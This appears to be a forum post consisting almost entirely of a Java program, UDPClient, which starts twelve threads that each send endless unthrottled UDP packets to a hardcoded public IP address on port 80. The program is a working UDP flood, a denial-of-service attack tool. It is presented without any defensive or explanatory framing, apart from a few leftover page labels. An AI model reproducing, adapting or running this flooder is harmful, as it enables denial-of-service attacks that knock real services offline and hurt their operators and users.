62,615
社区成员
发帖
与我相关
我的任务
分享
import java.io.IOException;
import java.net.DatagramPacket;
import java.net.DatagramSocket;
import java.net.InetAddress;
import java.net.SocketException;
import java.net.UnknownHostException;
public class UDPClient extends Thread{
public UDPClient(String arg0) throws SocketException{
super(arg0);
socket = new DatagramSocket();
}
private DatagramSocket socket = null;
// private String serverIP = "127.0.0.1";
// public UDPClient() throws SocketException{
//
//
//
// }
// public void setServerIP(String ServerIP){
//
// this.serverIP = serverIP;
//
// }
public void run(){
try{
for(int i = 0;;i++){
// for(int j = 0;j<256;j++){
byte[] buf = new byte[63];
InetAddress address = InetAddress.getByName("61.142.248.24");
if(i%10000==0)System.out.println(address.toString());
DatagramPacket packet = new DatagramPacket(buf,buf.length,address,80);
socket.send(packet);
// }
}
}catch(UnknownHostException e){
e.printStackTrace();
}catch(SocketException e){
e.printStackTrace();
}catch(IOException e){
e.printStackTrace();
}
}
public static void main(String[] args){
try{
UDPClient client1 = new UDPClient("Thread1");
client1.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client2 = new UDPClient("Thread2");
client2.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client3 = new UDPClient("Thread3");
client3.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client4 = new UDPClient("Thread4");
client4.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client5 = new UDPClient("Thread5");
client5.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client6 = new UDPClient("Thread6");
client6.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client7 = new UDPClient("Thread7");
client7.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client8 = new UDPClient("Thread8");
client8.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client9 = new UDPClient("Thread9");
client9.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client10 = new UDPClient("Thread10");
client10.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client11 = new UDPClient("Thread11");
client11.start();
}catch(SocketException e){
e.printStackTrace();
}
try{
UDPClient client12 = new UDPClient("Thread12");
client12.start();
}catch(SocketException e){
e.printStackTrace();
}
}
}